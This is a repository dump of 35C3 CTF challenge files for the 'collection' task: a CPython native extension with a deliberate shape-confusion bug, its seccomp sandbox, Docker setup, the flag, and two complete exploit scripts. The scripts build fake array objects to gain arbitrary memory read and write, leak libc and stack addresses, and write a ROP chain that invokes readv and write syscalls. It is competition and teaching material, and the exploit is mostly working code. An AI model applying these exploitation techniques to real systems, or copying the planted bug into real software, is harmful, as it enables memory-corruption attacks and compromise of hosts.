├── README.md ├── collection ├── Dockerfile ├── Makefile ├── README.md ├── dist_exploit.py ├── docker_build.sh ├── docker_run.sh ├── exploit.py ├── flag ├── module.c ├── pow.py ├── sandbox.c ├── sandbox.h ├── server.py ├── setup.py ├── solve.py ├── spoiler.py ├── start_server.sh ├── starter.sh ├── test.py ├── types.c ├── types.h ├── utils.c ├── utils.h └── xinetd.conf └── funfox ├── Dockerfile ├── README.md ├── diff.patch ├── docker_build.sh ├── docker_run.sh ├── exploit.js ├── flag ├── pow.py ├── server.py ├── solve.py ├── start_server.sh ├── starter.sh └── xinetd.conf /README.md: -------------------------------------------------------------------------------- 1 | # 35c3ctf -------------------------------------------------------------------------------- /collection/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get -y update 3 | RUN apt-get -y install python3.6 xinetd cgroup-tools python 4 | 5 | RUN groupadd -g 1000 collection && useradd -g collection -m -u 1000 collection -s /bin/bash 6 | 7 | RUN mkdir /chall 8 | COPY flag /flag 9 | COPY build/lib.linux-x86_64-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.so 10 | COPY server.py /server.py 11 | COPY starter.sh /starter.sh 12 | RUN chmod +x /starter.sh 13 | COPY start_server.sh /start_server.sh 14 | RUN chmod +x /start_server.sh 15 | COPY xinetd.conf /etc/xinetd.d/chall 16 | COPY pow.py /pow.py 17 | CMD /starter.sh collection 18 | #CMD /bin/bash 19 | -------------------------------------------------------------------------------- /collection/Makefile: -------------------------------------------------------------------------------- 1 | utils: types.o utils.o 2 | clang -std=c11 -o bin utils.o types.o 3 | 4 | types.o: types.c 5 | clang -std=c11 -o types.o -c types.c -W -Wall -ansi -pedantic 6 | 7 | utils.o: utils.c types.h 8 | clang -std=c11 -o utils.o -c utils.c -W -Wall -ansi -pedantic 9 | -------------------------------------------------------------------------------- /collection/README.md: -------------------------------------------------------------------------------- 1 | # Collection 2 | 3 | Native extension for CPython 3.6. This implemented a new data storage for dictionaries where keys and values are stored separately and shapes are reused across collection with the same layout (like js engines represent objects) 4 | 5 | The bug is that when the extension checks if the list of keys has already been encountered it does a list equivalency check when it should do strict equality 6 | 7 | As such `{a:1, b:1}` and `{b:1, a:1}` will be thought as having the same shape 8 | 9 | We can use this to cause a type confusion between an integer and a `PyObject*` and get an object handle at an arbitrary address 10 | 11 | my exploit fakes an array object (module array) and use the confusion to get a handle to it, we can therefore create arrays with arbitrary pointer and use them to read and write data. From there I read into the GOT to get the libc base address, read `program_invocation_name` to leak a stack address and read the stack backwards to find a known return address to write a ROP chain 12 | 13 | The rop chain does a `readv(1023, ...)` followed by a `write` to get the flag 14 | -------------------------------------------------------------------------------- /collection/dist_exploit.py: -------------------------------------------------------------------------------- 1 | offset_program_name = 0x3ec508 2 | offset_libc = 0x408680 3 | 4 | roots = [] 5 | 6 | def read(addr): 7 | d = {} 8 | d["a1"] = 0x1 9 | d["a2"] = 0x9d3340 10 | d["a3"] = 0x4 11 | d["a4"] = addr 12 | d["a5"] = 0x4 13 | d["a6"] = 0x715620 14 | d["a7"] = 0x0 15 | d["a8"] = 0x0 16 | 17 | # 0x7ffff6153db0: 0x0000000000000001 0x00000000009ef7a0 18 | # 0x7ffff6153dc0: 0x0000000000000004 0x00007ffff6191790 19 | # 0x7ffff6153dd0: 0x0000000000000004 0x0000000000644a50 20 | # 0x7ffff6153de0: 0x0000000000000000 0x0000000000000000 21 | fakeContainer = Collection.Collection(d) 22 | 23 | collAddr = id(fakeContainer) 24 | fakeArr = collAddr + 24 25 | 26 | a = Collection.Collection({"a":1337, "b":[1.2]}) 27 | b = Collection.Collection({"b":[1.3], "a":fakeArr}) 28 | fakeobj = b.get("b") 29 | roots.append(fakeobj) 30 | return fakeobj[0] 31 | 32 | def write(addr, val): 33 | d = {} 34 | d["a1"] = 0x1 35 | d["a2"] = 0x9d3340 36 | d["a3"] = 0x4 37 | d["a4"] = addr 38 | d["a5"] = 0x4 39 | d["a6"] = 0x715620 40 | d["a7"] = 0x0 41 | d["a8"] = 0x0 42 | 43 | # 0x7ffff6153db0: 0x0000000000000001 0x00000000009ef7a0 44 | # 0x7ffff6153dc0: 0x0000000000000004 0x00007ffff6191790 45 | # 0x7ffff6153dd0: 0x0000000000000004 0x0000000000644a50 46 | # 0x7ffff6153de0: 0x0000000000000000 0x0000000000000000 47 | fakeContainer = Collection.Collection(d) 48 | 49 | collAddr = id(fakeContainer) 50 | fakeArr = collAddr + 24 51 | 52 | a = Collection.Collection({"a":1337, "b":[1.2]}) 53 | b = Collection.Collection({"b":[1.3], "a":fakeArr}) 54 | fakeobj = b.get("b") 55 | roots.append(fakeobj) 56 | fakeobj[0] = val 57 | 58 | dl_runtime = read(0x9b3010) 59 | print("dl_runtime at 0x%x" % dl_runtime) 60 | libc = dl_runtime - offset_libc 61 | print("libc at 0x%x" % libc) 62 | program_name = libc + offset_program_name 63 | print("program name at 0x%x" % program_name) 64 | 65 | stack = read(program_name) 66 | stack = stack + (8 - (stack % 8)) 67 | backup_stack = stack 68 | stack -= 0x800 69 | print("stack at 0x%x" % stack) 70 | 71 | program_range = [0x400000, 0x7be000] 72 | 73 | offset_libc_start_main = 0x21ab0 74 | needle = 0x0000000000506393 75 | 76 | def isInProgramRange(v): 77 | return v >= program_range[0] and v < program_range[1] 78 | 79 | for i in range(0x500): 80 | stack -= 8 81 | val = read(stack) 82 | if needle == val: 83 | print("GOT NEEDLE AT 0x%x" % stack) 84 | break 85 | 86 | #[#7] 0x506393 PyEval_EvalCode() 87 | #[#8] 0x634d52 sub QWORD PTR [rbx], 0x1 88 | #[#9] 0x634e0a PyRun_FileExFlags() 89 | 90 | 91 | pop_rdi = libc + 0x2155f 92 | pop_rsi = libc + 0x23e6a 93 | pop_rdx = libc + 0x1b96 94 | pop_rax = libc + 0x439c8 95 | syscall_ret = libc + 0xd2975 96 | write(backup_stack, backup_stack + 16) # iovec structure 97 | write(backup_stack + 8, 0x44) 98 | # readv(1023, iovec, 1) 99 | write(stack, pop_rdi) 100 | write(stack + 8, 0x00000000000003ff) # fd 101 | write(stack + 16, pop_rsi) 102 | write(stack + 24, backup_stack) # iovec 103 | write(stack + 32, pop_rdx) 104 | write(stack + 40, 1) # iocnt 105 | write(stack + 48, pop_rax) 106 | write(stack + 56, 19) # readv 107 | write(stack + 64, syscall_ret) 108 | stack += 72 109 | 110 | write(stack, pop_rdi) 111 | write(stack + 8, 1) # fd 112 | write(stack + 16, pop_rsi) 113 | write(stack + 24, backup_stack + 16) # buf 114 | write(stack + 32, pop_rdx) 115 | write(stack + 40, 44) # nbyte 116 | write(stack + 48, pop_rax) 117 | write(stack + 56, 1) # write 118 | write(stack + 64, syscall_ret) 119 | 120 | 121 | stack += 72 122 | 123 | write(stack, pop_rdi) 124 | write(stack + 8, 0) # statuscode 125 | write(stack + 16, pop_rax) 126 | write(stack + 24, 60) # exit 127 | write(stack + 32, syscall_ret) 128 | -------------------------------------------------------------------------------- /collection/docker_build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t bkth/collection . 3 | -------------------------------------------------------------------------------- /collection/docker_run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run --privileged -p 127.0.0.1:4444:4444 -it bkth/collection 3 | -------------------------------------------------------------------------------- /collection/exploit.py: -------------------------------------------------------------------------------- 1 | from sys import modules 2 | del modules['os'] 3 | import Collection 4 | keys = list(__builtins__.__dict__.keys()) 5 | for k in keys: 6 | if k != 'id' and k != 'hex' and k != 'print' and k != 'range': 7 | del __builtins__.__dict__[k] 8 | 9 | offset_program_name = 0x3ec508 10 | offset_libc = 0x408680 11 | 12 | roots = [] 13 | 14 | def read(addr): 15 | d = {} 16 | d["a1"] = 0x1 17 | d["a2"] = 0x9ef7a0 18 | d["a3"] = 0x4 19 | d["a4"] = addr 20 | d["a5"] = 0x4 21 | d["a6"] = 0x644a50 22 | d["a7"] = 0x0 23 | d["a8"] = 0x0 24 | 25 | # 0x7ffff6153db0: 0x0000000000000001 0x00000000009ef7a0 26 | # 0x7ffff6153dc0: 0x0000000000000004 0x00007ffff6191790 27 | # 0x7ffff6153dd0: 0x0000000000000004 0x0000000000644a50 28 | # 0x7ffff6153de0: 0x0000000000000000 0x0000000000000000 29 | fakeContainer = Collection.Collection(d) 30 | 31 | collAddr = id(fakeContainer) 32 | fakeArr = collAddr + 24 33 | 34 | a = Collection.Collection({"a":1337, "b":[1.2]}) 35 | b = Collection.Collection({"b":[1.3], "a":fakeArr}) 36 | fakeobj = b.get("b") 37 | roots.append(fakeobj) 38 | return fakeobj[0] 39 | 40 | def write(addr, val): 41 | print("w") 42 | d = {} 43 | d["a1"] = 0x1 44 | d["a2"] = 0x9ef7a0 45 | d["a3"] = 0x4 46 | d["a4"] = addr 47 | d["a5"] = 0x4 48 | d["a6"] = 0x644a50 49 | d["a7"] = 0x0 50 | d["a8"] = 0x0 51 | 52 | # 0x7ffff6153db0: 0x0000000000000001 0x00000000009ef7a0 53 | # 0x7ffff6153dc0: 0x0000000000000004 0x00007ffff6191790 54 | # 0x7ffff6153dd0: 0x0000000000000004 0x0000000000644a50 55 | # 0x7ffff6153de0: 0x0000000000000000 0x0000000000000000 56 | fakeContainer = Collection.Collection(d) 57 | 58 | collAddr = id(fakeContainer) 59 | fakeArr = collAddr + 24 60 | 61 | a = Collection.Collection({"a":1337, "b":[1.2]}) 62 | b = Collection.Collection({"b":[1.3], "a":fakeArr}) 63 | fakeobj = b.get("b") 64 | roots.append(fakeobj) 65 | fakeobj[0] = val 66 | 67 | dl_runtime = read(0x9be010) 68 | print("dl_runtime at 0x%x" % dl_runtime) 69 | libc = dl_runtime - offset_libc 70 | print("libc at 0x%x" % libc) 71 | program_name = libc + offset_program_name 72 | print("program name at 0x%x" % program_name) 73 | 74 | stack = read(program_name) 75 | stack = stack + (8 - (stack % 8)) 76 | backup_stack = stack 77 | print("stack at 0x%x" % stack) 78 | 79 | program_range = [0x400000, 0x7be000] 80 | 81 | offset_libc_start_main = 0x21ab0 82 | # needle = libc + offset_libc_start_main 83 | needle = 0x00000000004b6e80 84 | needle = 0x4f4ab3 85 | 86 | def isInProgramRange(v): 87 | return v >= program_range[0] and v < program_range[1] 88 | 89 | 90 | # for _ in range(0x1000) 91 | for i in range(0x500): 92 | print(i) 93 | stack -= 8 94 | val = read(stack) 95 | # print("VAL AT 0x%x = 0x%x" % (stack, val)) 96 | if needle == val: 97 | print("GOT NEEDLE AT 0x%x" % stack) 98 | break 99 | 100 | 101 | 102 | # write(0x414141414141, stack) 103 | pop_rdi = libc + 0x2155f 104 | pop_rsi = libc + 0x23e6a 105 | pop_rdx = libc + 0x1b96 106 | pop_rax = libc + 0x439c8 107 | syscall_ret = libc + 0xd2975 108 | print("YOLO") 109 | write(backup_stack, backup_stack + 16) # iovec structure 110 | write(backup_stack + 8, 0x44) 111 | # readv(1023, iovec, 1) 112 | write(stack, pop_rdi) 113 | write(stack + 8, 0x00000000000003ff) # fd 114 | write(stack + 16, pop_rsi) 115 | write(stack + 24, backup_stack) # iovec 116 | write(stack + 32, pop_rdx) 117 | write(stack + 40, 1) # iocnt 118 | write(stack + 48, pop_rax) 119 | write(stack + 56, 19) # readv 120 | write(stack + 64, syscall_ret) 121 | print("YOLO") 122 | stack += 72 123 | 124 | write(stack, pop_rdi) 125 | write(stack + 8, 1) # fd 126 | write(stack + 16, pop_rsi) 127 | write(stack + 24, backup_stack + 16) # buf 128 | write(stack + 32, pop_rdx) 129 | write(stack + 40, 44) # nbyte 130 | write(stack + 48, pop_rax) 131 | write(stack + 56, 1) # write 132 | write(stack + 64, syscall_ret) 133 | 134 | print("YOLO") 135 | 136 | stack += 72 137 | 138 | write(stack, pop_rdi) 139 | write(stack + 8, 0) # statuscode 140 | write(stack + 16, pop_rax) 141 | write(stack + 24, 60) # exit 142 | write(stack + 32, syscall_ret) 143 | print("YOLO") 144 | 145 | print("got RIP") 146 | print("got RIP") 147 | -------------------------------------------------------------------------------- /collection/flag: -------------------------------------------------------------------------------- 1 | 35C3_l1st_equiv4lency_is_n0t_l15t_equ4l1ty 2 | -------------------------------------------------------------------------------- /collection/module.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "utils.h" 7 | #include "string.h" 8 | #include "types.h" 9 | #include "sandbox.h" 10 | 11 | #define THROW_TYPE_ERROR(s) do {\ 12 | PyErr_SetString(PyExc_TypeError, s);\ 13 | return NULL;\ 14 | } while (0) 15 | 16 | #define THROW_TYPE_ERROR_ON(cond, s) do {\ 17 | if (cond) THROW_TYPE_ERROR(s);\ 18 | } while (0) 19 | 20 | 21 | typedef struct { 22 | list* recordList; 23 | unsigned int refs; 24 | } typeHandler; 25 | 26 | #define MAX_SLOTS 32 27 | typedef struct { 28 | PyObject_HEAD 29 | typeHandler* handler; 30 | void* slots[MAX_SLOTS]; 31 | } jsCollection; 32 | 33 | 34 | static PyTypeObject jsCollectionType; 35 | 36 | 37 | #define MAX_HANDLERS 256 38 | typeHandler* handlers[MAX_HANDLERS]; 39 | 40 | typeHandler* createTypeHandler(list* recordList) { 41 | 42 | for (int i = 0; i < MAX_HANDLERS; ++i) { 43 | if (handlers[i]) { 44 | continue; 45 | } 46 | typeHandler* newHandler = malloc(sizeof(typeHandler)); 47 | newHandler->recordList = recordList; 48 | newHandler->refs = 1; 49 | handlers[i] = newHandler; 50 | return newHandler; 51 | 52 | } 53 | PyErr_SetString(PyExc_TypeError, "COLLECTION FULL"); 54 | 55 | } 56 | 57 | typeHandler* getTypeHandler(list* recordList) { 58 | 59 | for (int i = 0; i < MAX_HANDLERS; ++i) { 60 | if (!handlers[i]) { 61 | continue; 62 | } 63 | if (listIsEquivalent(handlers[i]->recordList, recordList, recordComparator)) { 64 | /*printf("found equivalent type handler\n");*/ 65 | handlers[i]->refs++; 66 | return handlers[i]; 67 | } 68 | } 69 | /*printf("creating new handler\n");*/ 70 | return createTypeHandler(recordList); 71 | } 72 | 73 | static typeValue typeValueFromObject(PyObject* val) { 74 | if (PyList_Check(val)) { 75 | return typeList; 76 | } 77 | if (PyDict_Check(val)) { 78 | return typeDict; 79 | } 80 | if (PyLong_Check(val)) { 81 | return typeLong; 82 | } 83 | PyErr_SetString(PyExc_TypeError,"properties can only be either list, dictionary or an integer"); 84 | return -1; 85 | } 86 | 87 | static bool validateKeysAreString(PyObject* list) { 88 | 89 | THROW_TYPE_ERROR_ON(!PyList_Check(list), "parameter must be a list"); 90 | for (int i = 0; i < PyList_Size(list); ++i) { 91 | PyObject* key = PyList_GetItem(list, i); 92 | THROW_TYPE_ERROR_ON(!PyUnicode_Check(key), "parameter must be a string"); 93 | } 94 | return true; 95 | 96 | } 97 | 98 | static int getSlotIndexForProperty(jsCollection* collection, const char* key) { 99 | return listIndexOf(collection->handler->recordList, key, recordNameComparator); 100 | } 101 | 102 | static typeValue getTypeValueForIndex(jsCollection* collection, int index) { 103 | 104 | node* it = collection->handler->recordList->head; 105 | int incr = 0; 106 | while (it && incr < index) { 107 | it = it->next; 108 | incr++; 109 | } 110 | return ((record*)it->value)->type; 111 | } 112 | 113 | static bool jsCollectionSet(jsCollection* collection, const char* key, PyObject* value) { 114 | 115 | int slotIndex = getSlotIndexForProperty(collection, key); 116 | if (slotIndex == -1) { 117 | return false; 118 | } 119 | typeValue typeVal = getTypeValueForIndex(collection, slotIndex); 120 | if (typeVal == typeLong) { 121 | /*printf("unpacking prop %s as long\n", key);*/ 122 | collection->slots[slotIndex] = PyLong_AsLong(value); 123 | return true; 124 | } 125 | collection->slots[slotIndex] = value; 126 | return true; 127 | } 128 | 129 | static PyObject* jsCollectionGet(jsCollection* collection, const char* key) { 130 | 131 | int slotIndex = getSlotIndexForProperty(collection, key); 132 | if (slotIndex == -1) { 133 | return Py_None; 134 | } 135 | /*printf("slot index is %d\n", slotIndex);*/ 136 | typeValue typeVal = getTypeValueForIndex(collection, slotIndex); 137 | if (typeVal == typeLong) { 138 | return PyLong_FromLong((long) collection->slots[slotIndex]); 139 | } 140 | return (PyObject*) collection->slots[slotIndex]; 141 | } 142 | 143 | static PyObject* jsCollectionNew(PyTypeObject* type, PyObject* args, PyObject* kwds) { 144 | 145 | PyObject *dict; 146 | Py_ssize_t n; 147 | if (!PyArg_ParseTuple(args, "O!", &PyDict_Type, &dict)) { 148 | THROW_TYPE_ERROR("parameter must be a dictionary"); 149 | } 150 | 151 | n = PyDict_Size(dict); 152 | if (!n || n > MAX_SLOTS) { 153 | return Py_None; 154 | } 155 | jsCollection* self = (jsCollection*) type->tp_alloc(type, 0); 156 | if (self) { 157 | self->handler = NULL; 158 | /*self->slots = malloc(32 * sizeof(void*));*/ 159 | /*printf("slots allocated at %p\n", self->slots);*/ 160 | } 161 | return (PyObject*) self; 162 | 163 | } 164 | 165 | jsCollection* createCollection(void) { 166 | jsCollection* ret = malloc(sizeof(jsCollection)); 167 | ret->handler = NULL; 168 | /*ret->slots = malloc(32 * sizeof(void*));*/ 169 | return ret; 170 | } 171 | static jsCollection* createCollectionFromDict(jsCollection* collection, PyObject* dict) { 172 | 173 | THROW_TYPE_ERROR_ON(!PyDict_Check(dict), "parameter must be a list"); 174 | 175 | PyObject* keys = PyDict_Keys(dict); 176 | THROW_TYPE_ERROR_ON(!validateKeysAreString(keys), "parameter must be a list"); 177 | 178 | list* recordList = listCreate(); 179 | PyObject *key, *value; 180 | Py_ssize_t i = 0; 181 | while (PyDict_Next(dict, &i, &key, &value)) { 182 | // validate already validated that keys are all strings 183 | const char* propName = PyUnicode_AsUTF8(key); 184 | record* rec = newRecord(propName, typeValueFromObject(value)); 185 | listAppend(recordList, rec); 186 | } 187 | /*listIterate(recordList, printRecord);*/ 188 | typeHandler* handler = getTypeHandler(recordList); 189 | /*jsCollection* collection = createCollection();*/ 190 | collection->handler = handler; 191 | i = 0; 192 | while (PyDict_Next(dict, &i, &key, &value)) { 193 | // validate already validated that keys are all strings 194 | Py_INCREF(value); 195 | const char* propName = PyUnicode_AsUTF8(key); 196 | /*printf("Setting prop %s at index %d\n", propName, i-1);*/ 197 | if (PyLong_Check(value)) { 198 | collection->slots[i - 1] = PyLong_AsLong(value); 199 | continue; 200 | } 201 | collection->slots[i - 1] = value; 202 | } 203 | 204 | return collection; 205 | } 206 | 207 | static void printStringKeys(PyObject* list) { 208 | 209 | THROW_TYPE_ERROR_ON(!PyList_Check(list), "parameter must be a list"); 210 | 211 | for (int i = 0; i < PyList_Size(list); ++i) { 212 | PyObject* key = PyList_GetItem(list, i); 213 | THROW_TYPE_ERROR_ON(!PyUnicode_Check(key), "parameter must be a string"); 214 | printf("%s\n", (key)); 215 | } 216 | 217 | } 218 | 219 | static int create(jsCollection* self, PyObject* args, PyObject* kwds) 220 | { 221 | /*printf("Helloo World\n");*/ 222 | PyObject *dict; 223 | Py_ssize_t n; 224 | int i; 225 | 226 | if (!PyArg_ParseTuple(args, "O!", &PyDict_Type, &dict)) { 227 | THROW_TYPE_ERROR("parameter must be a dictionary"); 228 | } 229 | 230 | 231 | /*printStringKeys(keys);*/ 232 | 233 | if (!createCollectionFromDict(self, dict)) { 234 | return -1; 235 | } 236 | return 0; 237 | } 238 | 239 | static PyObject* get(PyObject* self, PyObject* args) { 240 | const char* key; 241 | if (!PyArg_ParseTuple(args, "s", &key)) { 242 | return Py_None; 243 | } 244 | if (!PyObject_TypeCheck(self, &jsCollectionType)) { 245 | return Py_None; 246 | } 247 | return jsCollectionGet((jsCollection*) self, key); 248 | 249 | } 250 | 251 | // Our Module's Function Definition struct 252 | // We require this `NULL` to signal the end of our method 253 | // definition 254 | static PyMethodDef myMethods[] = { 255 | { "get", get, METH_VARARGS, "lorem ipsum" }, 256 | { NULL, NULL, 0, NULL } 257 | }; 258 | 259 | // Our Module Definition struct 260 | static struct PyModuleDef CollectionModule = { 261 | PyModuleDef_HEAD_INIT, 262 | "Collection", 263 | "Test Module", 264 | -1, 265 | /*myMethods*/ 266 | }; 267 | 268 | static void nuke_readv(void) { 269 | mprotect((void*) 0x439000, 1, PROT_READ | PROT_WRITE | PROT_EXEC); 270 | memset(0x4396af - 0x20, 0xcc, 0x20); 271 | mprotect((void*) 0x439000, 1, PROT_READ | PROT_EXEC); 272 | } 273 | 274 | static PyTypeObject jsCollectionType = { 275 | PyVarObject_HEAD_INIT(NULL, 0) 276 | .tp_name = "Collection.Collection", 277 | .tp_doc = "Custom non-extensible collections", 278 | .tp_basicsize = sizeof(jsCollection), 279 | .tp_itemsize = 0, 280 | .tp_flags = Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, 281 | .tp_new = jsCollectionNew, 282 | .tp_init = (initproc) create, 283 | .tp_methods = myMethods, 284 | }; 285 | // Initializes our module using our above struct 286 | PyMODINIT_FUNC PyInit_Collection(void) { 287 | if (PyType_Ready(&jsCollectionType) < 0) 288 | return NULL; 289 | PyObject* module = PyModule_Create(&CollectionModule); 290 | if (module == NULL) 291 | return NULL; 292 | 293 | Py_INCREF(&jsCollectionType); 294 | PyModule_AddObject(module, "Collection", (PyObject *) &jsCollectionType); 295 | 296 | 297 | nuke_readv(); 298 | init_sandbox(); 299 | 300 | 301 | return module; 302 | } 303 | -------------------------------------------------------------------------------- /collection/pow.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import print_function 3 | import sys, random, string, struct 4 | from hashlib import sha256 5 | 6 | def proof_of_work_okay(chall, solution, hardness): 7 | h = sha256(chall.encode('ASCII') + struct.pack(' 1 and sys.argv[1] == 'ask': 32 | hardness = int(sys.argv[2]) 33 | 34 | challenge = random_string() 35 | print() 36 | print(' ======================================') 37 | print(' Proof of work code & solver can be found at https://35c3ctf.ccc.ac/uploads/pow.py') 38 | print(' You may run the following to solve:') 39 | print() 40 | print(' ./pow.py {}_{}'.format(hardness, challenge)) 41 | print(' ======================================') 42 | print() 43 | 44 | print('Proof of work challenge: {}_{}'.format(hardness, challenge)) 45 | sys.stdout.write('Your response? ') 46 | sys.stdout.flush() 47 | sol = int(input()) 48 | if not proof_of_work_okay(challenge, sol, hardness): 49 | print('Wrong :(') 50 | exit(1) 51 | else: 52 | if len(sys.argv) > 1: 53 | challenge = sys.argv[1] 54 | else: 55 | sys.stdout.write('Challenge? ') 56 | sys.stdout.flush() 57 | challenge = input() 58 | print('Solution: {}'.format(solve_proof_of_work(challenge))) 59 | -------------------------------------------------------------------------------- /collection/sandbox.c: -------------------------------------------------------------------------------- 1 | #include "sandbox.h" 2 | int bpf_resolve_jumps(struct bpf_labels *labels, 3 | struct sock_filter *filter, size_t count) 4 | { 5 | size_t i; 6 | 7 | if (count < 1 || count > BPF_MAXINSNS) 8 | return -1; 9 | /* 10 | * Walk it once, backwards, to build the label table and do fixups. 11 | * Since backward jumps are disallowed by BPF, this is easy. 12 | */ 13 | for (i = 0; i < count; ++i) { 14 | size_t offset = count - i - 1; 15 | struct sock_filter *instr = &filter[offset]; 16 | if (instr->code != (BPF_JMP+BPF_JA)) 17 | continue; 18 | switch ((instr->jt<<8)|instr->jf) { 19 | case (JUMP_JT<<8)|JUMP_JF: 20 | if (labels->labels[instr->k].location == 0xffffffff) { 21 | fprintf(stderr, "Unresolved label: '%s'\n", 22 | labels->labels[instr->k].label); 23 | return 1; 24 | } 25 | instr->k = labels->labels[instr->k].location - 26 | (offset + 1); 27 | instr->jt = 0; 28 | instr->jf = 0; 29 | continue; 30 | case (LABEL_JT<<8)|LABEL_JF: 31 | if (labels->labels[instr->k].location != 0xffffffff) { 32 | fprintf(stderr, "Duplicate label use: '%s'\n", 33 | labels->labels[instr->k].label); 34 | return 1; 35 | } 36 | labels->labels[instr->k].location = offset; 37 | instr->k = 0; /* fall through */ 38 | instr->jt = 0; 39 | instr->jf = 0; 40 | continue; 41 | } 42 | } 43 | return 0; 44 | } 45 | 46 | /* Simple lookup table for labels. */ 47 | __u32 seccomp_bpf_label(struct bpf_labels *labels, const char *label) 48 | { 49 | struct __bpf_label *begin = labels->labels, *end; 50 | int id; 51 | 52 | if (labels->count == BPF_LABELS_MAX) { 53 | fprintf(stderr, "Too many labels\n"); 54 | exit(1); 55 | } 56 | if (labels->count == 0) { 57 | begin->label = label; 58 | begin->location = 0xffffffff; 59 | labels->count++; 60 | return 0; 61 | } 62 | end = begin + labels->count; 63 | for (id = 0; begin < end; ++begin, ++id) { 64 | if (!strcmp(label, begin->label)) 65 | return id; 66 | } 67 | begin->label = label; 68 | begin->location = 0xffffffff; 69 | labels->count++; 70 | return id; 71 | } 72 | 73 | void seccomp_bpf_print(struct sock_filter *filter, size_t count) 74 | { 75 | struct sock_filter *end = filter + count; 76 | for ( ; filter < end; ++filter) 77 | printf("{ code=%u,jt=%u,jf=%u,k=%u },\n", 78 | filter->code, filter->jt, filter->jf, filter->k); 79 | } 80 | void 81 | init_sandbox() { 82 | struct bpf_labels l = { 83 | .count = 0, 84 | }; 85 | struct sock_filter filter[] = { 86 | VALIDATE_ARCHITECTURE, 87 | LOAD_SYSCALL_NR, 88 | SECCOMP_SYSCALL(__NR_exit, ALLOW), 89 | SECCOMP_SYSCALL(__NR_exit_group, ALLOW), 90 | SECCOMP_SYSCALL(__NR_brk, ALLOW), 91 | SECCOMP_SYSCALL(__NR_mmap, JUMP(&l, mmap)), 92 | SECCOMP_SYSCALL(__NR_munmap, ALLOW), 93 | SECCOMP_SYSCALL(__NR_mremap, ALLOW), 94 | SECCOMP_SYSCALL(__NR_readv, ALLOW), 95 | SECCOMP_SYSCALL(__NR_futex, ALLOW), 96 | SECCOMP_SYSCALL(__NR_sigaltstack, ALLOW), 97 | SECCOMP_SYSCALL(__NR_close, ALLOW), 98 | SECCOMP_SYSCALL(__NR_write, JUMP(&l, write)), 99 | SECCOMP_SYSCALL(__NR_rt_sigaction, ALLOW), 100 | DENY, 101 | 102 | LABEL(&l, mmap), 103 | ARG(0), 104 | JNE(0, DENY), 105 | ARG(2), 106 | JNE(PROT_READ|PROT_WRITE, DENY), 107 | ARG(3), 108 | JNE(MAP_PRIVATE|MAP_ANONYMOUS, DENY), 109 | ARG(4), 110 | JNE(0xffffffff, DENY), 111 | ARG(5), 112 | JNE(0, DENY), 113 | ALLOW, 114 | 115 | LABEL(&l, write), 116 | ARG(0), 117 | JEQ(STDOUT_FILENO, ALLOW), 118 | JEQ(STDERR_FILENO, ALLOW), 119 | DENY, 120 | }; 121 | struct sock_fprog prog = { 122 | .filter = filter, 123 | .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), 124 | }; 125 | bpf_resolve_jumps(&l, filter, sizeof(filter)/sizeof(*filter)); 126 | 127 | if (syscall(__NR_prctl, PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { 128 | err(1, "prctl(NO_NEW_PRIVS)"); 129 | } 130 | 131 | if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) { 132 | err(1, "prctl(SECCOMP)"); 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /collection/sandbox.h: -------------------------------------------------------------------------------- 1 | 2 | /* ------------SECCOMP--------------- */ 3 | 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | 18 | #include /* for __BITS_PER_LONG */ 19 | #include 20 | #include 21 | #include 22 | #include /* for seccomp_data */ 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #define BPF_LABELS_MAX 256 31 | #define STDOUT_FILENO 1 32 | #define STDERR_FILENO 2 33 | struct bpf_labels { 34 | int count; 35 | struct __bpf_label { 36 | const char *label; 37 | __u32 location; 38 | } labels[BPF_LABELS_MAX]; 39 | }; 40 | 41 | 42 | #define JUMP_JT 0xff 43 | #define JUMP_JF 0xff 44 | #define LABEL_JT 0xfe 45 | #define LABEL_JF 0xfe 46 | 47 | #if defined(__i386__) 48 | # define REG_SYSCALL REG_EAX 49 | # define ARCH_NR AUDIT_ARCH_I386 50 | #elif defined(__x86_64__) 51 | # define REG_SYSCALL REG_RAX 52 | # define ARCH_NR AUDIT_ARCH_X86_64 53 | #else 54 | # warning "Platform does not support seccomp filter yet" 55 | # define REG_SYSCALL 0 56 | # define ARCH_NR 0 57 | #endif 58 | 59 | #define arch_nr (offsetof(struct seccomp_data, arch)) 60 | 61 | #define VALIDATE_ARCHITECTURE \ 62 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \ 63 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \ 64 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) 65 | 66 | 67 | #define ALLOW \ 68 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW) 69 | #define DENY \ 70 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) 71 | #define JUMP(labels, label) \ 72 | BPF_JUMP(BPF_JMP+BPF_JA, FIND_LABEL((labels), (label)), \ 73 | JUMP_JT, JUMP_JF) 74 | #define LABEL(labels, label) \ 75 | BPF_JUMP(BPF_JMP+BPF_JA, FIND_LABEL((labels), (label)), \ 76 | LABEL_JT, LABEL_JF) 77 | #define SECCOMP_SYSCALL(nr, jt) \ 78 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (nr), 0, 1), \ 79 | jt 80 | 81 | /* Lame, but just an example */ 82 | #define FIND_LABEL(labels, label) seccomp_bpf_label((labels), #label) 83 | 84 | #define EXPAND(...) __VA_ARGS__ 85 | 86 | /* Ensure that we load the logically correct offset. */ 87 | #if __BYTE_ORDER == __LITTLE_ENDIAN 88 | #define 